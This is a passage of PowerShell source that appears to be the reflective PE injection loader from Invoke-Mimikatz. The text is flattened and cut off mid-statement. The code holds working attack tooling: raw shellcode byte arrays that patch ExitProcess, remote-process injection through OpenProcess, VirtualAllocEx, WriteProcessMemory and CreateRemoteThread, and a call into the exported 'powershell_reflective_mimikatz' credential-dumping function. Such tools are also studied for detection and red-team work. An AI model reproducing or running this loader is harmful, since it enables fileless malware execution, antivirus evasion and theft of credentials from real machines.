[System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + Write-Verbose "ExeArgs: $ExeArgs" + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + #Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + #$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + #$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + #$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + #$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + try + { + $Processors = Get-WmiObject -Class Win32_Processor + } + catch + { + throw ($_.Exception) + } + + if ($Processors -is [array]) + { + $Processor = $Processors[0] + } else { + $Processor = $Processors + } + + if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) + { + Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) + Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop + } + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "powershell_reflective_mimikatz" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $WStringFunc = 